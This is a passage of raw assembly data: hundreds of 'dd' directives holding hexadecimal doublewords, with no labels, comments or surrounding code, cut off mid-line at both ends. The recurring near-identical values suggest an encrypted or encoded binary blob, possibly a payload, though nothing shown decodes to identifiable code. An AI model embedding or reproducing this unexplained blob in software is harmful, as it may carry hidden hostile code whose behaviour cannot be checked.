4A4D6251h, 0AEE51971h, 14DF1565h dd 14662232h, 15DE41C3h, 14668832h, 4D7ECEFAh, 1BEA2D6Bh dd 75661132h, 9D0442B3h, 0CCE76541h, 65DE1464h, 4400E453h dd 0FE467887h, 316ACF54h, 0FC64E6B1h, 1566113Ah, 353FCC59h dd 0FC54A6A3h, 1AE6D9B2h, 0EA999EB7h, 0C6E7E8CDh, 30C613C0h dd 1560A03Dh, 0DDE71132h, 5CF47F92h, 0AA692453h, 4307DAF8h dd 96420DB9h, 0A6068CF6h, 463025ECh, 5A63B989h, 0D6E75A53h dd 8BD6725Eh, 143D9ABBh, 48F7CC1h, 0C8661132h, 0C86ECEC9h dd 0C1747F7Dh, 0A97FF12Ch, 9F2F4517h, 15643062h, 0C04B4432h dd 14101424h, 3B314C2h, 0D65FE04h, 0C58FBD6Ah, 75662232h dd 1563923Dh, 36DC8832h, 754F4B03h, 73AD953Dh, 7407DEB9h dd 9467FECDh, 52306006h, 403D5FD2h, 0B36CF28Fh, 94B37F48h dd 5B5AD4D7h, 94B3D501h, 0F8612FF7h, 6A30939h, 9470D50Bh dd 0C32D34C7h, 488D206Eh, 25773652h, 9269182Bh, 15662236h dd 4CD5AE54h, 0EE9D0B53h, 1459C03Dh, 9B692232h, 15661128h dd 15766152h, 0F0044432h, 73CE706h, 4B98DFCFh, 298BF1FEh dd 9E00EBFCh, 463043C5h, 2B49AE89h, 313AA17Bh, 943D1F36h dd 2B499DF1h, 0AF34E47Bh, 15668833h, 1DD9AEB3h, 0E7672BC2h dd 1DD9D3B3h, 0F6581C2h, 9C69BD68h, 15662233h, 10DE41CEh dd 94668832h, 0C82C7AF1h, 94A52315h, 0C82C2FD9h, 0EC06D015h dd 2DED8FB3h, 0FC0763C6h, 0EA99EF62h, 74BE0252h, 156FCA3Dh dd 0AA062232h, 7E4AC83Fh, 1A07D161h, 75671A84h, 1565A73Dh dd 0E4E61132h, 156061FCh, 0C644432h, 81C0301Fh, 1A8F7153h dd 57668832h, 0F6BC2B49h, 942A5A6Eh, 1E68D7AAh, 1A060ECEh dd 156644BFh, 74397032h, 3B8D9253h, 0E89C0C3Dh, 0FC06BBCDh dd 15662239h, 6631615Ah, 6CA55CDh, 1A87C3EBh, 15662EB0h dd 1561F832h, 978C8832h, 0F03D9830h, 5F8F4361h, 75661132h dd 0A4375E8Ch, 0CBED2225h, 14E42D53h, 0ED661132h, 0EB67F6B2h dd 0E8D0C13Dh, 4406DDCDh, 156619DAh, 0F9E7D032h, 0B7C620Ch dd 1A3F7C2Bh, 156606B5h, 15776032h, 4C7E4432h, 9FD1AC6Eh dd 0A50821E8h, 3E7B36F6h, 4A107663h, 0E963CB53h, 9E06EECDh dd 157560E3h, 5D324432h, 90DEF830h, 0E51B6F8Fh, 9DC0F6F6h dd 3EACF57Eh, 4A6595A6h, 3D267953h, 21EF8832h, 1569AD16h dd 0BB0B2232h, 0D65B4390h, 456EEBAEh, 0B5947909h, 0CFE74230h dd 7D203100h, 1090E053h, 19EF4432h, 14E02D16h, 0EC661132h dd 94810165h, 156640F5h, 1189A132h, 49422DB5h, 754294BBh dd 0D574FF54h, 1566A13Dh, 7D071132h, 15669EC0h, 0FC4278BBh dd 1566223Fh, 5665C9BEh, 8D29AC67h, 0E47CDF26h, 0FCA61303h dd 15661120h, 173DBB28h, 719699C9h, 9C949E22h, 6A607033h dd 0FCCA5D0Bh, 1566443Fh, 0E464CB8Ch, 96FEA53Bh, 88E6F042h dd 0D4EE15ECh, 19EDE9BAh, 11A29216h, 4700D9CBh, 0C4EE1780h dd 0FCE67854h, 4CAD3151h, 659D08C7h, 105AC03Dh, 75062232h dd 1566943Dh, 0E0E68832h, 29072592h, 0C2E22D3Dh, 0FC661132h dd 15668834h, 9EE565DDh, 0FC5AC792h, 1F99953Dh, 91698832h dd 15664435h, 1567A73Dh, 299A1132h, 0F9E287D9h, 1A66443Ch dd 156620B5h, 75077132h, 156B6152h, 0A0FF4432h, 7A2A3C65h dd 5E86ED7h, 741FF294h, 0F65A25CBh, 1677A63Dh, 1C8F1132h dd 48668832h, 6FB4EFB0h, 0B89211FFh, 9169F30Eh, 156698B1h dd 0E8ECB852h, 3152DD53h, 11A2926Dh, 15668FDBh, 19CC0932h dd 0E95C6202h, 46420DB9h, 0D6E76BBBh, 15664436h, 1562E1B3h dd 9E11132h, 138FD416h, 0D3664432h, 0D4DCD3A7h, 3152EED4h dd 11A20B6Bh, 13E74BC7h, 75662232h, 3D39AF54h, 31527753h dd 11A2C56Ch, 75662232h, 4C077163h, 0FC064B53h, 1566443Fh dd 0D8C27061h, 0FDEBA19Fh, 0C0314A72h, 90A12503h, 137AAA1Ch dd 15661134h, 15670F3Dh, 459A4432h, 1566228Ah, 25F21432h dd 0E567B8D4h, 0F356D01Fh, 4D7EA802h, 73BC9A52h, 4C0857B3h dd 45342253h, 0D9989C86h dd 9DABFDB2h, 0C646D0D0h, 1A061E54h, 9400E085h, 74FBC0FDh dd 1AE673B2h, 0EA9904B7h, 0AD36DACDh, 0EA99EECDh, 1A3E4E33h dd 156645B9h, 90EDDE32h, 13731673h, 0D2E67052h, 80ED2535h dd 13730403h, 156605DBh, 0E46C0D32h, 29900FB3h, 8B070B3Bh dd 6922B1D6h, 84EF6A6Ch, 749A241Bh, 156C075Ah, 31529832h dd 0F9E77D69h, 15664436h, 0AF4236BBh, 15661134h, 753C5B33h dd 5DF36F8Dh, 930E437Ah, 9C66113Ah, 17DEAC36h, 14664432h dd 4D7E21C2h, 1ABE2ACAh, 15669EB0h, 0CF5DBC32h, 0EBDDA43Dh dd 9669EECDh, 15668835h, 1567CD3Dh, 479E2232h, 0F2E4788h dd 0DFE7CA4Ch, 45DC3E42h, 0D7E7F0C5h, 2D890658h, 0D7E752C5h dd 0E4CFA580h, 3C3CF133h, 0D58D90C9h, 0E051FD76h, 1560FC62h dd 0D64F2232h, 944215B9h, 15668CF6h, 14E64B32h, 0E0662232h dd 9769BC54h, 15668835h, 1567CA3Dh, 739F2232h, 1561F899h dd 290F8832h, 8A5BB218h, 1572CBE8h, 51511132h, 27FF4C7h dd 0B22E1B18h, 9D426248h, 66D0D058h, 0CD57419Eh, 0CD578703h dd 420689CEh, 1566993Dh, 0E03F8832h, 11DE1453h, 94662232h dd 0FA79F2F4h, 94A0896Fh, 0FA79A7DCh, 1A8F7A6Fh, 0F661132h dd 0E06E6608h, 43E076Ah, 558314AAh, 1A065CABh, 0AC004B8Dh dd 9C075D16h, 1A8F060Eh, 0AB661132h, 4B8115B9h, 0FA084DC9h dd 0A7EC3DF6h, 61EFDF3Dh, 1A068416h, 156646B9h, 1A3F7132h dd 156610BAh, 0FC077D32h, 15664420h, 2C2667AEh, 78C65292h dd 0CCA0F53Eh, 0A29B218Eh, 0A0EFC401h, 13731743h, 15610F3Dh dd 9A694432h, 15662233h, 1574F8C7h, 0B76B8832h, 2E310CDDh dd 97E3C5E8h, 18F3DB71h, 3C42B7F8h, 4A4270CDh, 0FC62E6B1h dd 15661138h, 52984E5h, 0D2300283h, 9ED73CFh, 0F6EF4216h dd 15624BB3h, 0D6E54432h, 317AA536h, 1569F86Eh, 39F48832h dd 3F45815Dh, 9CF49B81h, 986F59D3h, 31527795h, 11A2C76Bh dd 1567A83Dh, 0EA931132h, 9438AC06h, 156640F6h, 1563CB32h dd 47DA1132h, 449831F5h, 0D4E7A5BBh, 15662236h, 9262D0B1h dd 31EDAC3Eh, 0E2ED2416h, 0CA91CB53h, 0D293EECDh, 9EEA6B7h dd 15664634h, 94304232h, 772BCEE5h, 0C6EDD756h, 798A2C53h dd 1EF2232h, 9C949816h, 9F69D2E1h, 1566443Ah, 1564AD3Dh dd 74061132h, 75683E3Dh, 1ABCF33Dh, 156620B2h, 74077132h dd 1AE671B2h, 156619B1h, 0AB30D732h, 6E320AD9h, 14387B1Bh dd 0FEA5C5F9h, 751D7629h, 0D48D9054h, 4C9EDBFAh, 156BAD53h dd 0DCD82232h, 1BF44D2Fh, 5C1DDC2Dh, 43E24C75h, 1566238Ch dd 4B951032h, 17EE8752h, 0A7664432h, 0D7ED7341h, 108F7068h dd 2D668832h, 370876CBh, 1566A9DBh, 949F7132h, 0E77546EBh dd 0A734254Bh, 0BEACA2B1h, 0D520A063h, 0C49080DBh, 25CDB5B2h dd 0C44E7BF8h, 1561F868h, 0B2418832h, 2D154691h, 9917360h dd 316A9A16h, 15624CB3h, 42064432h, 4D97A954h, 0E508A58Dh dd 0ED06E95Dh, 233EB4B3h, 4007302Eh, 1566EE8Fh, 9E8FA932h dd 0D1E5601Eh, 1C8FDE36h, 0EF661132h, 0FC01EDBCh, 39E0EABBh dd 1F80E1B3h, 0D6E73ED4h, 0F19F6ADh, 0FEE78F1Bh, 0F195CADh dd 1F80FAB3h, 0ED06A7D4h, 74A9FB3Dh, 1227A7B9h, 90691727h dd 1566883Eh, 1560CF3Dh, 9E692232h, 15661132h, 33571DB9h dd 98694227h, 15662220h, 15661CDBh, 0D88432h, 0E1A5D1BAh dd 0CC02F58Fh, 9369D5C0h, 15668833h, 44DBC7CBh, 1460372Ah dd 11C2953Dh, 96698832h, 1566443Eh, 82DF4452h, 15E21EF8h dd 74668832h, 9769870Bh, 156626B8h, 1AB528C7h, 0EA9DFCB0h dd 1560ADCDh, 290A2232h, 78A87B6Dh, 1562F9DBh, 156CAD32h dd 28FA2232h, 3A27450Fh, 5D7CE859h, 156AC63Dh, 73062232h dd 4DE5F7B3h, 91A40954h, 90A12542h, 137AAA1Ch, 15661130h dd 4369E0CEh, 21EF4432h, 9F067916h, 0DFED77F1h, 1BD08753h dd 1567C43Dh, 959E2232h, 966991CBh, 1566886Eh, 1C8E1752h dd 54662232h, 0EA6FDB4Dh, 2D7C78A1h, 749E1C6Ah, 4AAAC9B3h dd 0FEE77B53h, 6762F306h, 0D6E78F33h, 67625906h, 4AAAD2B3h dd 4793E253h, 0EA99BB88h, 4FB50BCDh, 156601DBh, 0CC107432h dd 0C766747Eh, 91BB8503h, 6208D0C0h, 15A16130h, 108F4432h dd 47662232h, 0EFB33751h, 3BD4DA61h, 9D5FAEB2h, 0D2E678E5h dd 31819197h, 95EE7FB2h, 0E2E69CC5h, 0EB89A29Fh, 1A3DE81Ah dd 15669FB0h, 1574AD32h, 4D412232h, 0BD2F63D7h, 511657B6h dd 0DE1ABBFEh, 25BF60C2h, 15661CDBh, 30330232h, 0A2ABF2A1h dd 0B01A63B1h, 0E4E19374h, 0E4E15EC5h, 1572AD73h, 1B062232h dd 6A2BE88Fh, 898FD854h, 201034F3h, 50FBCFEh, 198FCEB9h dd 39668832h, 34A9C1E0h, 0B908FD1h, 457DE4EFh, 483FA98Ah dd 15674116h, 54432232h, 0D4219C49h, 144B8CD2h, 342691BDh dd 108F7AF3h, 98661132h, 8704D7Ah, 3F55F967h, 942364B9h dd 7F8DFFDFh, 488DA1D0h, 0D6E78F1Bh, 71461C74h, 54E39AC7h dd 0FC609D35h, 15664434h, 60883324h, 80ED30AFh, 1373AE03h dd 156CAD52h, 0B2762232h, 576A6D00h, 8DD3A86Fh, 15664FDBh dd 777F6332h, 0E3ACBB29h, 9A71ACAFh, 44DBC753h, 1460372Ah dd 17A2953Dh, 188F8832h, 51664432h, 0A3DC1656h, 3B3CF854h dd 37AB8B10h, 97699C09h, 15662211h, 1561933Dh, 92698832h dd 15664433h, 1AB51BCEh, 0EA9F99B4h, 156F61CDh, 0D1494432h dd 238992EDh, 4359ED40h, 9E4284CDh, 0D1E76006h, 15662236h dd 0A0919A52h, 4700E9D2h, 0E5EE2184h, 0FDA67854h, 19531536h dd 21A676FBh, 12EF4BC1h, 75662232h, 9EF4CBB2h, 0FCCCE9F1h dd 1566443Ah, 1602D345h, 1F86035Dh, 15663361h, 0E6674432h dd 9ED29B8h, 11A29016h, 1A668832h, 15664CB5h, 97694232h dd 15661132h, 0EBD3D953h, 0F0A681CCh, 1593A235h, 19EDF9BAh dd 11A20916h, 1A664432h, 156623BFh, 0A334E932h, 95A87627h dd 0CB903CDCh, 955AD4B2h, 0E3E60EC4h, 0D588582Ah, 0D3E64CD4h dd 0FC88A2CAh, 753CE012h, 1563093Dh, 94004432h, 0ED0BAAE8h dd 1577F853h, 36458832h, 0BA9181Ah, 6E2FD586h, 0BB619F5Eh dd 1DABCF86h, 0E0CCBDFAh, 39FDC9B3h, 0EE4F21ADh, 39FD3062h dd 0D66774ADh, 9406DE6Ah, 2DEE92D8h, 15746137h, 73274432h dd 42656E40h, 78D788BEh, 9C6D8961h, 0FB9BB61Ah, 118AA353h dd 9C661132h, 11DBAC1Eh, 3C664432h, 1A8F7FD9h, 9A661132h dd 0EEE38EE5h, 0A0DD4D5Ch, 8C996DF3h, 463695C0h, 317A036Ah dd 756280B1h, 74BC9D3Dh, 9E69BAC7h, 1566883Ch, 15E14B52h dd 94662232h, 0FB119FD5h, 0A833E915h, 15664430h, 5742CCB3h dd 0FB6713CAh, 57424EB3h, 0FC3B46CAh, 15662234h, 0E2F8A3A1h dd 0A0EF89B1h, 13734243h, 156FA63Dh, 0EC061132h, 15660C3Dh dd 0D2074432h, 7E73B7h, 15661034h, 9C307D32h, 11DD17D4h dd 14662232h, 0D3E54AECh, 31520F36h, 83D9246Eh, 75798A98h dd 0A47FAB54h, 7407D064h, 156657DBh, 1E0E4532h, 0E3CC5EF4h dd 0FB8AD98Fh, 6E4DEB98h, 0C2AD53E4h, 4E4225CDh, 1A624CB1h dd 156656B0h, 19EB2D32h, 0FC661132h, 15668835h, 55F24162h dd 9EC3438Ch, 9C33353Eh, 11A309D7h, 94664432h, 156626F7h dd 314A9632h, 12E5876Eh, 1A664432h, 156623BDh, 9C30E432h dd 11A009D4h, 42664432h, 1566268Dh, 4A981032h, 4942BCB5h dd 156AC13Dh, 128F2232h dd 3661132h, 5D54135Eh, 9C373212h, 11DD71D3h, 14661132h dd 0D4E5D3EBh, 316AC336h, 156ACB6Eh, 8D5A1132h, 0A84C4549h dd 0D5D094Fh, 950642CCh, 9969ACD6h, 15668827h, 15664BDAh dd 2AB30F32h, 991AA3ABh, 0A6DF7A3Eh, 94904244h, 0E38F436Ah dd 0FC99EEEBh, 15668839h, 544739BBh, 0E1C98F40h, 1A21FB7Bh dd 156689B3h, 9430B832h, 1567061Eh, 75381132h, 156686DBh dd 3991E532h, 0C02FEB10h, 2DA60D01h, 946F9DABh, 8EAECEE4h dd 18F4350h, 3661132h, 0C0713245h, 0D8F84C43h, 0B0C562BDh dd 0FF952F31h, 44AD3EDBh, 0C490AE83h, 0F4E6EBCCh, 0CCA791A8h dd 9DAC0060h, 753F1EE2h, 5884FCB3h, 749A3A6Ah, 0D7E6E898h dd 9E302593h, 0D1E50636h, 18E31E36h, 0FC668832h, 1566443Ah dd 0CF7BB9Eh, 0DB955360h, 56393567h, 0FD4F0563h, 109E0B6Fh dd 5437526Dh, 156685DBh, 9898AB32h, 645DE64h, 751EC174h dd 68FBF53h, 7664432h, 1A957BFBh, 1DD8986Bh, 9E3D9297h dd 0AD14FE0Ah, 0AA31765Fh, 15661136h, 4B3D3937h, 389E6D2Bh dd 0C387983h, 40D6716Dh, 99F24F8Ch, 0EDCD2577h, 9C62CEB1h dd 0F5EF3536h, 15668C37h, 11A6C732h, 494226B5h, 15661BDBh dd 1DE5B832h, 0F5AAF342h, 0EA111E76h, 963D3506h, 73068CF6h dd 0CF4AEB3h, 1575CB53h, 95661132h, 0C1F5EB67h, 0A53DADABh dd 79B6B819h, 705E7DBFh, 316A0353h, 9483CD67h, 156626F7h dd 11A39232h, 4942A4B5h, 156654DBh, 9C150B32h, 8AD63EF2h dd 0D770E825h, 0C2A1E46Fh, 3152DD3Ch, 11A2906Ch, 0FC668832h dd 15664438h, 4DD8FB5Ah, 13512070h, 9C3598D7h, 11A5C5D1h dd 96662232h, 9E115F1h, 31420316h, 156654DBh, 7D5D5F32h dd 64F14EADh, 4713DDE8h, 5B818954h, 0CE53CB03h, 1B8FEECDh dd 74668832h, 455FD48Ch, 0CAAD5B70h, 4D404DC3h, 3BE34F28h dd 106058BAh, 75662232h, 15661BDBh, 7C41EC32h, 0D9B75F8Dh dd 9E2BD4C8h, 943070FAh, 680DAC06h, 9ED4E36h, 11A2A316h dd 94661132h, 111BE3C1h, 1569AD38h, 0ECA42232h, 506ECFB6h dd 0C00E49D6h, 0C03DA87Eh, 118AA1EFh, 0AD4215BBh, 15668836h dd 753E8733h, 43ECCBB3h, 0AA691352h, 0AD36E9C1h, 15664432h dd 0EA0B5137h, 3896100Fh, 2899E541h, 0FC3E5C31h, 1566223Bh dd 0FC2386A1h, 4061138Dh, 54E3CFA2h, 75603735h, 15661BDAh dd 29923C32h, 67602EB5h, 0AB08ED1Eh, 445051C9h, 3EC876Bh dd 0FC664432h, 15662223h, 0DE628F33h, 77EDDD4Ah, 4FA370D7h dd 0EBA8DF20h, 80ED706Ch, 1373AE03h, 14DD17CAh, 3C662232h dd 90694AECh, 15668833h, 4CDBC7CEh, 1460373Eh, 13D5953Dh dd 93698832h, 1566443Ah, 733E7252h, 74646D88h, 97695009h dd 15664409h, 156629DBh, 526AFE32h, 14F4E9E7h, 0F06AB166h dd 9369F809h, 15661003h, 15616052h, 0B30B4432h, 95A398CFh dd 0C6ED7792h, 0D2E7EE6Bh, 1A07A92Eh, 156624B7h, 0C5EC7132h dd 9C07E952h, 603587h, 749E4234h, 9D488CB9h, 949A8E2Eh dd 3D6A6076h, 942A2D29h, 936A3576h, 145A6E3Bh, 946A606Eh dd 936A065Eh, 945AF73Bh, 3D6AAC5Eh, 0E02A4B29h, 15600ADBh dd 1FE41E32h, 0FC668832h, 15664437h, 43290030h, 315A9A7Ch dd 94830167h, 156640F7h, 11A3A132h, 49423DB5h, 0AC00E852h dd 74062906h, 0D207DE53h, 6A48B7h, 15668934h, 9E69BD32h dd 15662239h, 156617DBh, 0EAF00132h, 9E848FF4h, 9C35062Eh dd 11A590D1h, 96668832h, 9E140F1h, 1F8F7E16h, 0AF661132h dd 4BC44A7Fh, 1CCBB87Ah, 316AA94Ah, 94859861h, 15668CF1h dd 11A5C732h, 49423EB5h, 1BEC1E52h, 0FC668832h, 1566443Bh dd 42E6D06Fh, 0F74CE131h, 749502AFh, 4B4270CDh, 0FC62E6B1h dd 15661134h, 1274BCCEh, 9C356610h, 11A5A3D1h, 96661132h dd 0EA358CF1h, 4E626046h, 494226BDh, 156F903Dh, 42068832h dd 0FEE72269h, 0FC075451h, 0EA99C737h, 44DB0BCAh, 1460512Ah dd 1021A63Dh, 68F1132h, 0C8668832h, 13C782A7h, 85F7FC8Dh dd 0FA1FC80h, 0B93B9E37h, 884DABA1h, 13732573h, 0A4EB9AC7h dd 0FC609D2Fh, 15664426h, 723C4A62h, 99B44CE6h, 5B7A89B8h dd 0EA3F89AAh, 0E10F3891h, 306CA962h, 0DB4BAD19h, 1490E3D8h dd 0CC677AF3h, 2F5AF8B3h, 0FC06A6B1h, 15664437h, 73C0E66Ah dd 78F42EBh, 0C8668832h, 566A6FB0h, 7EF342DEh, 67136484h dd 0E8C6BB8Bh, 0ED071DF6h, 2737CBB3h, 0D4E719ECh, 5B50CDD6h dd 0FCE7BD1Bh, 5B5067D6h, 2737D0B3h, 9F6980ECh, 15664433h dd 0AB30DACAh, 15661137h, 4DB449B3h, 0E44F731Eh, 4DB4CBB3h dd 0FC38261Eh, 15668821h, 4A3688B5h, 767AE62Ch, 7CB272BAh dd 59C5110Ch, 47A15970h, 0A38C9262h, 4DA011E9h, 9D4A7EB2h dd 93691EC2h, 15662235h, 95077152h, 0BF071EC2h, 0FE0E2552h dd 9C662228h, 4D373536h, 0D2E7E86Bh, 6354E7A2h, 7D9E8953h dd 156666A9h, 9C42A4BBh, 11A3C5D7h, 96662232h, 39E115F7h dd 0EA9FD416h, 943D6006h, 156626F6h, 19EDE432h, 0F0EFDD16h dd 156281B3h, 0D0E72232h, 15661136h, 4942A4B5h, 0C4E72452h dd 173F4FC0h, 0B32FAF54h, 0C5D98753h, 3152CF53h, 9487AB63h dd 156615F3h, 11A70B32h, 494248B5h, 1575CBCEh, 0ACC21132h dd 8D3C035Fh, 54304C0Bh, 0DA2317EBh, 648187D3h, 0F3EFDEB8h dd 156282B3h, 0AC372232h, 15661136h, 923F4633h, 0ED3A6006h dd 0EAB164DBh, 1568F8CDh, 0F8A38832h, 0A2B09DE2h, 5ED9BB50h dd 1F3AE416h, 156B0C3Dh, 1D8F4432h, 0E9662232h, 90D5270Ch dd 0D24E19F4h, 9EE6AB7h, 15662034h, 1572F832h, 7B5B8832h dd 0B1C6C0A9h, 0FED230E9h, 3CD78C37h, 0E601C70Bh, 7D9EE36Fh dd 15664605h, 9C4205BBh, 4FB501C0h, 8DEFC52h, 78E749Ch dd 5D661132h, 0E87FFA27h, 9D65AB71h, 5633C2B1h, 0EE7491F5h dd 0DF5367Fh, 743E5AC4h, 7568943Dh, 9B69FEB8h, 15668834h dd 1566CF3Dh, 0EC072232h, 1AE6E8B2h, 156600B1h, 0A833BD32h dd 56476543h, 25BED4B3h, 0F0E7E5A8h, 2DE55FA3h, 1BBCD7B3h dd 0F0E73F42h, 74C043h, 0D0E799C5h, 3CA5BFFh, 143BFA33h dd 698D09F9h, 7564DE4Bh, 1563AA3Dh, 94001132h, 1A2F33DAh dd 156644BCh, 96354332h, 4E673536h, 15770E3Dh, 96694432h dd 15662239h, 156617DBh, 221F2E32h, 0ED986A8Ch, 1566F2DBh dd 0AF9A7132h, 2909DAA2h, 0FD352453h, 1566223Ah, 0D21EAC35h dd 523E218Dh, 0FFE71F68h, 3609533Dh, 178A9253h, 31620154h dd 0D44EBB82h, 1A067A54h, 156613BAh, 7507E832h, 1566CE3Dh dd 94002232h, 74B263C3h, 4C33D953h, 92BBB36Fh, 4E42DDBh dd 0FC661132h, 1566883Eh, 0B2288102h, 6A4DF1E2h, 27697786h dd 39783567h, 0D8E72B4Fh, 71340C6Ch, 9463F4F3h, 1F289EF7h dd 0C3D91329h, 0E2374C4Fh, 0D8A190EDh, 1CD4A881h, 0C8911BCFh dd 2B90E7B3h, 0FC477BC0h, 19EB876Fh, 1A664432h, 156624B7h dd 15EE1E32h, 0ED668832h, 2DB2FD63h, 0DE6737DDh, 94AD386Bh dd 0FA5E5CD9h, 1575AD27h, 0D0BE2232h, 0D5B66F54h, 7C63E7DEh dd 6125909Fh, 0CD0055D0h, 54E39A3Fh, 1A609D35h, 156645B5h dd 80EDDB32h, 13733703h, 0EF9961CAh, 759ABBCDh, 128FE1B9h dd 70661132h, 0ABFB2821h, 0D2074006h, 9EE0CB7h, 15661334h dd 40347032h, 0FFEFB1BBh, 4FB5AB6Fh, 1569933Dh, 1F8F8832h dd 0CA664432h, 0CD5B7B99h dd 7C27898h, 1BD08765h, 959FC4CEh, 1508A13Dh, 94691132h dd 1566882Ah, 156657DBh, 8E3DA832h, 48C1A0C1h, 0D6095281h dd 0F97E2DE4h, 0A744D5D5h, 348FD2B3h, 0FEE7E85Ah, 7F832D0Ch dd 0D6E7E933h, 7F83780Ch, 348F63B3h, 1A9F245Ah, 15662DBCh dd 156CF832h, 0DED38832h, 0CAE326D9h, 9BEBD39h, 1567AB60h dd 0C6678832h, 1560AD68h, 54732232h, 87FAD5ACh, 156609DBh dd 14E44B32h, 0E9662232h, 45A6A661h, 0F256B786h, 4E9F6C6Ah dd 0CDED4452h, 1384CBB3h, 5C07E5D5h, 3172B363h, 156ECB6Bh dd 6B171132h, 0F66055FBh, 9B6902DAh, 15662233h, 3D847CAh dd 5339824Dh, 0F2A0C574h, 34C6D7B3h, 31529AC3h, 0FC624CB1h dd 1566443Fh, 43B6265Fh, 0EA68236Bh, 6A942A3Ch, 1FA5C547h dd 944ADD3Dh, 0F16E23F1h, 94ADA146h, 0F16E76D9h, 1F8DA346h dd 1A4AEE3Dh, 156689B1h, 90EDBD32h, 13732573h, 0CAED7752h dd 15640A3Dh, 13D64432h, 1E8F4253h, 59661132h, 86C775E5h dd 9691DA80h, 9E07F933h, 4020A7h, 1AE68734h, 75664432h dd 156627DAh, 0CE724932h, 753E6CD0h, 0A8E52553h, 13733A63h dd 36E21E33h, 0EC9977C5h, 97699C09h, 1566221Fh, 15661FDBh dd 0D4A4DA32h, 0D365E96Ch, 0A78D99C5h, 2CEA2594h, 0E7E087E1h dd 7599BBDFh, 15662ADBh, 0FF089B32h, 5BD7A34h, 0CBD14B9Fh dd 14DB7753h, 3C661132h, 1B8FD5DCh, 0E3664432h, 5DDB35E0h dd 0CDC812A7h, 5F523C77h, 2EEE2C30h, 21EF2232h, 314A9016h dd 8C0CF2Bh, 0CA7C56Bh, 1A7B8475h, 156610B6h, 0A8337432h dd 3D4977E2h, 55CFEFB3h, 0D42B5FA1h, 0F8E780DFh, 3A3A7AFAh dd 7F43CFB3h, 0D0E75A72h, 0D549C682h, 3C3BAD33h, 238FA3CBh dd 75201057h, 1E91568Ah, 0EBED2274h, 12E42D53h, 1A661132h dd 156689B4h, 0F9E5B832h, 315AAB36h, 1566148Dh, 4A9FA132h dd 0DBD94B52h, 156CCB53h, 4EB91132h, 0B69D602Ch, 86ECF244h dd 0A5AC9363h, 9EAE2111h, 0D1E7AC3Eh, 15664436h, 1575CB52h dd 74341132h, 1427443h, 67DD0485h, 9F29847Dh, 0CF096A70h dd 0BF9FE9D1h, 17E54B52h, 9F662232h, 0EDD91EFAh, 0F9E7D853h dd 15664436h, 4D422EBBh, 156FF86Bh, 23838832h, 0ABFF87DAh dd 0BEA4092Ah, 0EFD91E52h, 0FC073483h, 0EA999699h, 88DD71CBh dd 947D535Dh, 6C29D7C1h, 0C28DC550h, 94700E66h, 0E45204F1h dd 9F9589AEh, 0E9061F31h, 15EB2D62h, 4F661132h, 7336E853h dd 4A07908Ah, 156630DBh, 24705032h, 81EBAC91h, 73AD3EBAh dd 0F58820E6h, 74695324h, 9169600Eh, 1566440Fh, 0F1DC70CBh dd 0AD39AB71h, 4ADCCBD6h, 1ED9403h, 11A2A316h, 0FC661132h dd 1566883Bh, 668E4232h, 5904122Ch, 1419F821h, 0AF068832h dd 65730210h, 1560AF3Dh, 97691132h, 15668832h, 0F2EF1353h dd 1562E5B3h, 0FAE51132h, 315A0F36h, 317ACD6Eh, 13E82D52h dd 1A661132h, 156688B4h, 0CEA6C532h, 74011742h, 153B755Ah dd 31520132h, 94002469h, 749405E5h, 1567A863h, 0E4678832h dd 1566FE60h, 0DF672232h, 4C3C0B31h, 0AB30DDCBh, 33D96C29h dd 55B1C88Fh, 4B9310EBh, 0ED3B6333h, 0EBCAF260h, 95B0D4F4h dd 0CB9077C4h, 0EB513F61h, 3191C4F5h, 9D3DDC32h, 0BF934BC2h dd 1561043Dh, 99694432h, 15662233h, 208D90C7h, 3C622C1Ah dd 0FDDB11C9h, 940B093Bh, 9387A2DFh, 488D895Ah, 15664BDBh dd 9FFB3632h, 20A3603Ah, 0DD3789EBh, 0E890F1Ah, 15629C64h dd 0D6E71132h, 3F2097E7h, 0FEE7B71Bh, 3F203DE7h, 1DEC1E6Ch dd 1A668832h, 156646B1h, 45074232h, 31629A61h, 15624CB3h dd 0FC3D4432h, 15662221h, 0FCFC6BB3h, 0AEA3BF34h, 4B72A9B3h dd 0EE0FA9B8h, 0BED99E40h, 75B70852h, 9E078CB8h, 9C30062Eh dd 11A090D4h, 94668832h, 156640F4h, 3152A532h, 0A833E96Eh dd 15668837h, 13B3AAB3h, 0FB6762B2h, 13B3D7B3h, 753BC8B2h dd 1A2691B2h, 156630B5h, 156AF932h, 474A8832h, 0F42BB7E5h dd 2BCB7916h, 743C2FC7h, 0F06E063h, 943F22E9h, 0AC08B8DBh dd 0FCE75868h, 936EFACh, 5140FF61h, 0CC57CDE3h, 4CAE9869h dd 138F4BCAh, 2A664432h, 0B68DC8B7h, 0F2EF46D4h, 15624FB3h dd 0FAE54432h, 315AA536h, 316A986Eh, 15670F3Dh, 449A4432h dd 1566228Bh, 47971032h, 15668888h, 73AC4532h, 4C3C20B9h dd 15661DDBh, 0BAF0F132h, 0B33B84D5h, 9F7DA05Fh, 1AA52D74h dd 1567EDB6h, 13EC4B32h, 75662232h, 4B364A61h, 1AADB453h dd 156715B6h, 1FE92D32h, 75661132h, 0E1239788h, 0C5D94B5Ah dd 1AA41E53h, 156778B6h, 12E48732h, 75664432h, 9E007B65h dd 996970F1h, 15668838h, 69EEFB52h, 9E0035F6h, 0DF5A70FCh dd 14220C3Dh, 95694432h, 1566223Ah, 1564993Dh, 74068832h dd 30997954h, 1433A63Dh, 1C8F1132h, 7B668832h, 0E521050Eh dd 7180AF3Ch, 0AA694752h, 7307D6CBh, 1A996A0Fh, 15665DB7h dd 156DF832h, 286E8832h, 9AD5A443h, 0E92FAC64h, 118A926Eh dd 0AF429CBBh, 15664430h, 17ECD033h, 19EF1E68h, 1A668832h dd 156642BEh, 15EF2D32h, 47661132h, 46006784h, 0EB565285h dd 0CB907954h, 0D3E6CFC4h, 4F96A8C5h, 156DAC52h, 0B68B2232h dd 6BD26672h, 0D0944824h, 0E5D94B3Ah, 19E12D68h, 0FC661132h dd 15668835h, 0F037504Ch, 741ABB13h, 9169B10Eh, 156688D1h dd 9400BC52h, 74E26CC1h, 40421DB9h, 0D0E76DBBh, 15664436h dd 9262E7B1h, 0FC3A351Eh, 15668821h, 0D8694357h, 0D3865CC4h dd 183AD734h, 34EEE919h, 7D5DC4D4h, 156647B8h, 0AF4205BBh dd 15668832h, 1A3C94BBh, 156635B4h, 1574F832h, 443B8832h dd 3A3EC53Eh, 0D240B4Ah, 0D47DDEADh, 18A1AE47h, 15675EDBh dd 0DC57DE32h, 156E963Dh, 93698832h, 15664430h, 0AA314352h dd 0EA99EECDh, 0ED39711Bh, 156635DBh, 